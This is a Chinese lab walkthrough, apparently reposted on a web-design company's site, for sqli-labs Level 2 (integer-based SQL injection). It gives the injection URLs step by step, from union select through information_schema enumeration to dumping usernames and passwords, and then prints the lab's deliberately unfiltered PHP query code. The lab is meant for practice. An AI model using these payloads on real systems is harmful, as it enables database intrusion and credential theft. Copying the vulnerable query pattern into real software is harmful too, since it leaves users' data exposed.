sqli-labs-master第二关:ErrorBased-Intiger

接上篇博客:https://blog.51cto.com/tdcqvip/2060816

成都创新互联公司:从2013年成立为各行业开拓出企业自己的“网站建设”服务,为近1000家公司企业提供了专业的成都做网站、成都网站建设、成都外贸网站建设、网页设计和网站推广服务, 按需定制由设计师亲自精心设计,设计的效果完全按照客户的要求,并适当的提出合理的建议,拥有的视觉效果,策划师分析客户的同行竞争对手,根据客户的实际情况给出合理的网站构架,制作客户同行业具有领先地位的。

来到第二关:

http://127.0.0.1/sqli-labs-master/Less-2/

sqli-labs-master第二关:Error Based- Intiger

访问http://127.0.0.1/sqli-labs-master/Less-2/?id=1

sqli-labs-master第二关:Error Based- Intiger

判断是否有注入点:

and 1 = 1 返回正常

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1 = 1 %23

sqli-labs-master第二关:Error Based- Intiger

and 1 = 2 返回失败

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1 = 2 %23

sqli-labs-master第二关:Error Based- Intiger

说明存在注入点:

order by  n 查看字段

当n=3时返回正确

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 3  %23

sqli-labs-master第二关:Error Based- Intiger

当=4时返回错误

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 4  %23

sqli-labs-master第二关:Error Based- Intiger

说明字段是3

用union select 进行联合查询:

并用报错的方式显示显示位:

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,3  %23

sqli-labs-master第二关:Error Based- Intiger

通过上图可以看到显示位在2,3上。

用version()和database()查看php版本和当前网站用的数据库名字

sqli-labs-master第二关:Error Based- Intiger

我们通过上图可以看到数据库是“security” 版本是5.5.53

接下来我们查看数据库security下的表:

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' %23

sqli-labs-master第二关:Error Based- Intiger

通过上图可以看到有users表

查看users表里的列

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1  union select 1, group_concat(column_name),3 from information_schema.columns where table_name = 'users' %23

sqli-labs-master第二关:Error Based- Intiger

接下来就是查看username和password里的内容:

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1  union select 1,username,password from users where id = 2 %23

sqli-labs-master第二关:Error Based- Intiger

结束:

声明:源代码被我改动了,所以在注入的时候才会显示出来查询语句


接下来看看源代码:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-2 **Error Based- Intiger**</title>
</head>

<body bgcolor="#000000">




<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">


<?php
//including the MySQL connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);


// connectivity 
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
echo $sql;
echo "<br>";

	if($row)
	{
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}
}
	else
		{ 	
		echo "Please input the ID as parameter with numeric value";
		}

?>


</font> </div></br></br></br><center>
<img src="../images/Less-2.jpg" /></center>
</body>
</html>

通过源代码我们可以看到,在连接数据库查询的时候并没有进行任何过滤

与第一关不同的地方就是

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

这句,没有“''”符号。

利用方式大致相同。

第三关尽快更新


微信公众号:

sqli-labs-master第二关:Error Based- Intiger

文章题目:sqli-labs-master第二关:ErrorBased-Intiger
本文URL:https://www.cdcxhl.com/article10/pjojgo.html

成都网站建设公司_创新互联,为您提供网站收录定制网站域名注册手机网站建设云服务器品牌网站制作

广告

声明:本网站发布的内容(图片、视频和文字)以用户投稿、用户转载内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。电话:028-86922220;邮箱:631063699@qq.com。内容未经允许不得转载,或转载时需注明来源: 创新互联

h5响应式网站建设